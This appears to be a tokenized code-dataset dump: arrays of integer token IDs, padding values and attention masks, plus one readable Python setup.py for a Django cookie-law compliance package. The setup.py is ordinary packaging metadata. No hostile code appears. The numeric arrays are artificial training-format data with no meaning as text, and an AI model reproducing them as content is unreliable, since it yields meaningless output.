NOQA
mit
[ 3, 4287, 26, 3507, 29, 55, 1690, 845, 199, 2344, 199, 4299, 2226, 199, 23476, 199, 199, 5446, 436, 675, 314, 5526, 24374, 3555, 2808, 14, 1487, 6455, 641, 2195, 2656, 12, 314, 199, 1018, 5022, 883, 3504, 376, 24374, 10427, 503, 282, 283, 25140, 7, 19763, 24374, 3555, 14, 199, 2344, 199, 199, 504, 747, 492, 6160, 199, 504, 984, 492, 4298, 465, 984, 3246, 12, 4458, 421, 199, 4896, 63, 12496, 63, 2226, 63, 4612, 275, 334, 18, 12, 378, 9, 421, 199, 318, 1499, 1977, 8, 1188, 304, 272, 340, 984, 3246, 508, 283, 2676, 708, 356, 267, 492, 5577, 267, 5577, 14, 25522, 14, 751, 708, 14, 13695, 55, 8, 355, 488, 12, 1245, 12, 399, 2, 43, 10241, 481, 7539, 4520, 401, 378, 9, 267, 4458, 8, 17, 9, 199, 199, 692, 283, 43, 6882, 57, 63, 16618, 7, 440, 315, 6160, 26, 339, 687, 17227, 14, 2921, 492, 15996, 272, 687, 17227, 14, 15707, 492, 6482, 63, 826, 63, 4435, 272, 687, 17227, 14, 15707, 14, 32477, 63, 1208, 492, 6482, 63, 362, 63, 1023, 272, 687, 17227, 14, 15707, 14, 32477, 492, 3563, 63, 4612, 12, 3563, 63, 27839, 726, 12, 3563, 63, 31587, 540, 12, 971, 267, 3563, 63, 4283, 63, 15044, 63, 9438, 63, 27522, 12, 3563, 63, 4283, 63, 15044, 63, 4305, 12, 971, 267, 3563, 63, 3234, 1554, 1206, 63, 13947, 63, 4612, 4202, 267, 6482, 1002, 1558, 12, 6482, 12277, 86, 12, 6482, 63, 826, 63, 7450, 272, 687, 17227, 14, 1208, 492, 4298, 339, 347, 4205, 63, 3528, 837, 267, 6482, 63, 826, 63, 7450, 342, 267, 870, 63, 3528, 63, 1023, 342, 267, 6482, 63, 826, 63, 4435, 342, 339, 347, 870, 63, 3528, 63, 1023, 837, 267, 1015, 275, 6482, 1002, 1558, 8, 2226, 63, 4612, 9, 267, 20868, 275, 6482, 1002, 1558, 8, 2226, 63, 27839, 726, 9, 267, 11889, 275, 6482, 1002, 1558, 8, 2226, 63, 31587, 540, 9, 267, 15996, 14, 815, 360, 2226, 26, 24374, 1015, 665, 91, 16, 93, 22936, 908, 8, 1023, 430, 267, 15996, 14, 815, 360, 2226, 26, 24374, 20868, 665, 91, 16, 93, 22936, 908, 8, 9884, 430, 267, 15996, 14, 815, 360, 2226, 26, 24374, 11889, 665, 91, 16, 93, 22936, 908, 8, 12471, 430, 398, 327, 12230, 314, 922, 5715, 340, 17049, 24348, 14991, 15, 13337, 787, 4634, 2269, 267, 12160, 12, 12612, 275, 6482, 63, 362, 63, 1023, 342, 267, 15996, 14, 815, 360, 2226, 26, 24374, 4565, 1015, 26, 450, 68, 12, 450, 68, 7, 450, 334, 8452, 12, 12612, 430, 267, 340, 334, 8452, 12, 12612, 9, 665, 15861, 63, 12496, 63, 2226, 63, 4612, 26, 288, 1499, 275, 334, 355, 283, 2226, 26, 22466, 1415, 24374, 1015, 334, 18, 14, 16, 9, 2845, 1911, 12525, 78, 60, 78, 7, 355, 283, 4299, 2226, 1015, 10501, 26, 469, 16, 26944, 17, 4988, 78, 60, 78, 7, 355, 283, 3353, 26, 469, 18, 4988, 78, 27111, 26, 469, 19, 4988, 78, 11355, 26, 469, 20, 4988, 78, 60, 78, 7, 355, 283, 12357, 1536, 16050, 2195, 24348, 19016, 436, 15, 269, 2195, 283, 355, 283, 15707, 14991, 315, 1930, 402, 8826, 3134, 78, 60, 78, 7, 355, 283, 1918, 4223, 911, 10137, 3063, 14, 1959, 908, 8, 490, 12160, 12, 12612, 12, 1015, 12, 20868, 12, 11889, 9, 288, 15996, 14, 13138, 8, 1328, 9, 288, 1499, 1977, 8, 1328, 9, 398, 340, 4298, 1137, 283, 6238, 356, 288, 327, 5787, 315, 314, 15516, 17423, 707, 334, 7410, 1015, 737, 6928, 333, 1047, 6171, 395, 288, 327, 642, 1240, 1990, 8812, 1879, 316, 314, 6482, 3464, 14, 288, 15996, 14, 815, 360, 2226, 26, 5244, 5384, 1015, 665, 91, 16, 93, 22936, 908, 8, 355, 6482, 1002, 1558, 8, 2226, 63, 3234, 1554, 1206, 63, 13947, 63, 4612, 1724, 267, 15996, 14, 815, 360, 2226, 26, 4516, 608, 1390, 1568, 665, 91, 16, 93, 22936, 908, 8, 288, 6482, 12277, 86, 8, 2226, 63, 4283, 63, 15044, 63, 4305, 2788, 16, 2459, 267, 15996, 14, 815, 360, 2226, 26, 4516, 608, 1390, 6204, 665, 91, 16, 93, 22936, 908, 8, 288, 6482, 12277, 86, 8, 2226, 63, 4283, 63, 15044, 63, 9438, 63, 27522, 2788, 16, 2459, 339, 327, 4005, 506, 7688, 370, 675, 4154, 3563, 5022, 12, 781, 1471, 1172, 282, 4353, 272, 327, 9195, 391, 280, 429, 89, 492, 4353, 2599, 370, 4868, 314, 849, 4353, 7143, 272, 492, 17227, 14, 1018, 14, 3806, 221, 327, 20432, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 4287, 26, 3507, 29, 55, 1690, 845, 199, 2344, 199, 4299, 2226, 199, 23476, 199, 199, 5446, 436, 675, 314, 5526, 24374, 3555, 2808, 14, 1487, 6455, 641, 2195, 2656, 12, 314, 199, 1018, 5022, 883, 3504, 376, 24374, 10427, 503, 282, 283, 25140, 7, 19763, 24374, 3555, 14, 199, 2344, 199, 199, 504, 747, 492, 6160, 199, 504, 984, 492, 4298, 465, 984, 3246, 12, 4458, 421, 199, 4896, 63, 12496, 63, 2226, 63, 4612, 275, 334, 18, 12, 378, 9, 421, 199, 318, 1499, 1977, 8, 1188, 304, 272, 340, 984, 3246, 508, 283, 2676, 708, 356, 267, 492, 5577, 267, 5577, 14, 25522, 14, 751, 708, 14, 13695, 55, 8, 355, 488, 12, 1245, 12, 399, 2, 43, 10241, 481, 7539, 4520, 401, 378, 9, 267, 4458, 8, 17, 9, 199, 199, 692, 283, 43, 6882, 57, 63, 16618, 7, 440, 315, 6160, 26, 339, 687, 17227, 14, 2921, 492, 15996, 272, 687, 17227, 14, 15707, 492, 6482, 63, 826, 63, 4435, 272, 687, 17227, 14, 15707, 14, 32477, 63, 1208, 492, 6482, 63, 362, 63, 1023, 272, 687, 17227, 14, 15707, 14, 32477, 492, 3563, 63, 4612, 12, 3563, 63, 27839, 726, 12, 3563, 63, 31587, 540, 12, 971, 267, 3563, 63, 4283, 63, 15044, 63, 9438, 63, 27522, 12, 3563, 63, 4283, 63, 15044, 63, 4305, 12, 971, 267, 3563, 63, 3234, 1554, 1206, 63, 13947, 63, 4612, 4202, 267, 6482, 1002, 1558, 12, 6482, 12277, 86, 12, 6482, 63, 826, 63, 7450, 272, 687, 17227, 14, 1208, 492, 4298, 339, 347, 4205, 63, 3528, 837, 267, 6482, 63, 826, 63, 7450, 342, 267, 870, 63, 3528, 63, 1023, 342, 267, 6482, 63, 826, 63, 4435, 342, 339, 347, 870, 63, 3528, 63, 1023, 837, 267, 1015, 275, 6482, 1002, 1558, 8, 2226, 63, 4612, 9, 267, 20868, 275, 6482, 1002, 1558, 8, 2226, 63, 27839, 726, 9, 267, 11889, 275, 6482, 1002, 1558, 8, 2226, 63, 31587, 540, 9, 267, 15996, 14, 815, 360, 2226, 26, 24374, 1015, 665, 91, 16, 93, 22936, 908, 8, 1023, 430, 267, 15996, 14, 815, 360, 2226, 26, 24374, 20868, 665, 91, 16, 93, 22936, 908, 8, 9884, 430, 267, 15996, 14, 815, 360, 2226, 26, 24374, 11889, 665, 91, 16, 93, 22936, 908, 8, 12471, 430, 398, 327, 12230, 314, 922, 5715, 340, 17049, 24348, 14991, 15, 13337, 787, 4634, 2269, 267, 12160, 12, 12612, 275, 6482, 63, 362, 63, 1023, 342, 267, 15996, 14, 815, 360, 2226, 26, 24374, 4565, 1015, 26, 450, 68, 12, 450, 68, 7, 450, 334, 8452, 12, 12612, 430, 267, 340, 334, 8452, 12, 12612, 9, 665, 15861, 63, 12496, 63, 2226, 63, 4612, 26, 288, 1499, 275, 334, 355, 283, 2226, 26, 22466, 1415, 24374, 1015, 334, 18, 14, 16, 9, 2845, 1911, 12525, 78, 60, 78, 7, 355, 283, 4299, 2226, 1015, 10501, 26, 469, 16, 26944, 17, 4988, 78, 60, 78, 7, 355, 283, 3353, 26, 469, 18, 4988, 78, 27111, 26, 469, 19, 4988, 78, 11355, 26, 469, 20, 4988, 78, 60, 78, 7, 355, 283, 12357, 1536, 16050, 2195, 24348, 19016, 436, 15, 269, 2195, 283, 355, 283, 15707, 14991, 315, 1930, 402, 8826, 3134, 78, 60, 78, 7, 355, 283, 1918, 4223, 911, 10137, 3063, 14, 1959, 908, 8, 490, 12160, 12, 12612, 12, 1015, 12, 20868, 12, 11889, 9, 288, 15996, 14, 13138, 8, 1328, 9, 288, 1499, 1977, 8, 1328, 9, 398, 340, 4298, 1137, 283, 6238, 356, 288, 327, 5787, 315, 314, 15516, 17423, 707, 334, 7410, 1015, 737, 6928, 333, 1047, 6171, 395, 288, 327, 642, 1240, 1990, 8812, 1879, 316, 314, 6482, 3464, 14, 288, 15996, 14, 815, 360, 2226, 26, 5244, 5384, 1015, 665, 91, 16, 93, 22936, 908, 8, 355, 6482, 1002, 1558, 8, 2226, 63, 3234, 1554, 1206, 63, 13947, 63, 4612, 1724, 267, 15996, 14, 815, 360, 2226, 26, 4516, 608, 1390, 1568, 665, 91, 16, 93, 22936, 908, 8, 288, 6482, 12277, 86, 8, 2226, 63, 4283, 63, 15044, 63, 4305, 2788, 16, 2459, 267, 15996, 14, 815, 360, 2226, 26, 4516, 608, 1390, 6204, 665, 91, 16, 93, 22936, 908, 8, 288, 6482, 12277, 86, 8, 2226, 63, 4283, 63, 15044, 63, 9438, 63, 27522, 2788, 16, 2459, 339, 327, 4005, 506, 7688, 370, 675, 4154, 3563, 5022, 12, 781, 1471, 1172, 282, 4353, 272, 327, 9195, 391, 280, 429, 89, 492, 4353, 2599, 370, 4868, 314, 849, 4353, 7143, 272, 492, 17227, 14, 1018, 14, 3806, 221, 327, 20432, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
juan-cb/django-cookie-law
setup.py
1
1609
#!/usr/bin/env python import os from setuptools import setup, find_packages from itertools import chain from glob import glob import cookielaw CLASSIFIERS = [ 'Development Status :: 5 - Production/Stable', 'Environment :: Web Environment', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: JavaScript', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Internet :: WWW/HTTP :: Session', ] package_data_globs = ( 'cookielaw/templates/cookielaw/*.html', 'cookielaw/static/cookielaw/*/*', 'cookielaw/locale/*/*/*' ) package_data = [] for f in chain(*map(glob, package_data_globs)): package_data.append(f.split('/', 1)[1]) setup( author='Piotr Kilczuk', author_email='piotr@tymaszweb.pl', name='django-cookie-law', version='.'.join(str(v) for v in cookielaw.VERSION), description='Helps your Django project comply with EU cookie law regulations', long_description=open(os.path.join(os.path.dirname(__file__), 'README.rst')).read(), url='https://github.com/TyMaszWeb/django-cookie-law', license='BSD License', platforms=['OS Independent'], classifiers=CLASSIFIERS, install_requires=[ 'Django>=1.2', 'django-classy-tags>=0.3.0', ], tests_require=[ 'selenium==3.0.1', ], packages=find_packages(), package_data={'cookielaw': package_data}, include_package_data=False, zip_safe=False, test_suite='runtests.main', )
bsd-2-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 646, 747, 199, 504, 9116, 492, 3272, 12, 2342, 63, 5154, 199, 504, 7975, 492, 6036, 199, 504, 5739, 492, 5739, 199, 199, 646, 512, 745, 14769, 10084, 421, 199, 31163, 1976, 3960, 275, 359, 272, 283, 23753, 9795, 3800, 959, 446, 24114, 15, 933, 461, 297, 272, 283, 8263, 3800, 6001, 9711, 297, 272, 283, 16442, 3800, 5634, 297, 272, 283, 23910, 23975, 3800, 23493, 297, 272, 283, 3761, 3800, 25718, 26330, 3800, 6289, 844, 297, 272, 283, 23699, 6187, 3800, 4403, 1010, 7106, 297, 272, 283, 11411, 8466, 3800, 2018, 297, 272, 283, 11411, 8466, 3800, 15250, 297, 272, 283, 12157, 3800, 22026, 3800, 644, 11178, 15, 2856, 297, 272, 283, 12157, 3800, 22026, 3800, 644, 11178, 15, 2856, 3800, 8596, 297, 199, 61, 199, 199, 2491, 63, 576, 63, 15581, 275, 334, 272, 283, 331, 745, 14769, 10084, 15, 5876, 15, 331, 745, 14769, 10084, 20362, 1360, 297, 272, 283, 331, 745, 14769, 10084, 15, 1986, 15, 331, 745, 14769, 10084, 6331, 6331, 297, 272, 283, 331, 745, 14769, 10084, 15, 5508, 6331, 6331, 6331, 7, 199, 9, 199, 199, 2491, 63, 576, 275, 942, 199, 509, 289, 315, 6036, 2031, 1130, 8, 6463, 12, 2559, 63, 576, 63, 15581, 2298, 272, 2559, 63, 576, 14, 740, 8, 70, 14, 1294, 10998, 413, 2788, 17, 566, 199, 199, 2758, 8, 272, 4132, 534, 10542, 357, 82, 1804, 382, 16823, 3210, 297, 272, 4132, 63, 2123, 534, 1038, 357, 82, 32, 369, 5892, 90, 2520, 14, 1168, 297, 272, 536, 534, 1176, 13, 5306, 13, 22277, 297, 272, 1015, 15637, 1370, 904, 8, 495, 8, 86, 9, 367, 373, 315, 512, 745, 14769, 10084, 14, 4612, 395, 272, 1369, 534, 40, 352, 1190, 2195, 5634, 2199, 1013, 590, 543, 26007, 5494, 4179, 1295, 21429, 297, 272, 1846, 63, 1802, 29, 1490, 8, 736, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 283, 18195, 14, 8332, 11103, 739, 1062, 272, 1166, 534, 2859, 921, 5031, 14, 957, 15, 32603, 45, 305, 90, 5926, 15, 1176, 13, 5306, 13, 22277, 297, 272, 4190, 534, 15400, 844, 297, 272, 10677, 2968, 3100, 1010, 7106, 995, 272, 19137, 29, 31163, 1976, 3960, 12, 272, 3907, 63, 6537, 1524, 267, 283, 9323, 8119, 17, 14, 18, 297, 267, 283, 1176, 13, 533, 89, 13, 2969, 8119, 16, 14, 19, 14, 16, 297, 272, 2156, 272, 2295, 63, 4365, 1524, 267, 283, 15041, 389, 19, 14, 16, 14, 17, 297, 272, 2156, 272, 6117, 29, 1623, 63, 5154, 1062, 272, 2559, 63, 576, 3713, 331, 745, 14769, 10084, 356, 2559, 63, 576, 1386, 272, 2387, 63, 2491, 63, 576, 29, 797, 12, 272, 3482, 63, 3489, 29, 797, 12, 272, 511, 63, 5768, 534, 1065, 2219, 14, 973, 297, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 646, 747, 199, 504, 9116, 492, 3272, 12, 2342, 63, 5154, 199, 504, 7975, 492, 6036, 199, 504, 5739, 492, 5739, 199, 199, 646, 512, 745, 14769, 10084, 421, 199, 31163, 1976, 3960, 275, 359, 272, 283, 23753, 9795, 3800, 959, 446, 24114, 15, 933, 461, 297, 272, 283, 8263, 3800, 6001, 9711, 297, 272, 283, 16442, 3800, 5634, 297, 272, 283, 23910, 23975, 3800, 23493, 297, 272, 283, 3761, 3800, 25718, 26330, 3800, 6289, 844, 297, 272, 283, 23699, 6187, 3800, 4403, 1010, 7106, 297, 272, 283, 11411, 8466, 3800, 2018, 297, 272, 283, 11411, 8466, 3800, 15250, 297, 272, 283, 12157, 3800, 22026, 3800, 644, 11178, 15, 2856, 297, 272, 283, 12157, 3800, 22026, 3800, 644, 11178, 15, 2856, 3800, 8596, 297, 199, 61, 199, 199, 2491, 63, 576, 63, 15581, 275, 334, 272, 283, 331, 745, 14769, 10084, 15, 5876, 15, 331, 745, 14769, 10084, 20362, 1360, 297, 272, 283, 331, 745, 14769, 10084, 15, 1986, 15, 331, 745, 14769, 10084, 6331, 6331, 297, 272, 283, 331, 745, 14769, 10084, 15, 5508, 6331, 6331, 6331, 7, 199, 9, 199, 199, 2491, 63, 576, 275, 942, 199, 509, 289, 315, 6036, 2031, 1130, 8, 6463, 12, 2559, 63, 576, 63, 15581, 2298, 272, 2559, 63, 576, 14, 740, 8, 70, 14, 1294, 10998, 413, 2788, 17, 566, 199, 199, 2758, 8, 272, 4132, 534, 10542, 357, 82, 1804, 382, 16823, 3210, 297, 272, 4132, 63, 2123, 534, 1038, 357, 82, 32, 369, 5892, 90, 2520, 14, 1168, 297, 272, 536, 534, 1176, 13, 5306, 13, 22277, 297, 272, 1015, 15637, 1370, 904, 8, 495, 8, 86, 9, 367, 373, 315, 512, 745, 14769, 10084, 14, 4612, 395, 272, 1369, 534, 40, 352, 1190, 2195, 5634, 2199, 1013, 590, 543, 26007, 5494, 4179, 1295, 21429, 297, 272, 1846, 63, 1802, 29, 1490, 8, 736, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 283, 18195, 14, 8332, 11103, 739, 1062, 272, 1166, 534, 2859, 921, 5031, 14, 957, 15, 32603, 45, 305, 90, 5926, 15, 1176, 13, 5306, 13, 22277, 297, 272, 4190, 534, 15400, 844, 297, 272, 10677, 2968, 3100, 1010, 7106, 995, 272, 19137, 29, 31163, 1976, 3960, 12, 272, 3907, 63, 6537, 1524, 267, 283, 9323, 8119, 17, 14, 18, 297, 267, 283, 1176, 13, 533, 89, 13, 2969, 8119, 16, 14, 19, 14, 16, 297, 272, 2156, 272, 2295, 63, 4365, 1524, 267, 283, 15041, 389, 19, 14, 16, 14, 17, 297, 272, 2156, 272, 6117, 29, 1623, 63, 5154, 1062, 272, 2559, 63, 576, 3713, 331, 745, 14769, 10084, 356, 2559, 63, 576, 1386, 272, 2387, 63, 2491, 63, 576, 29, 797, 12, 272, 3482, 63, 3489, 29, 797, 12, 272, 511, 63, 5768, 534, 1065, 2219, 14, 973, 297, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 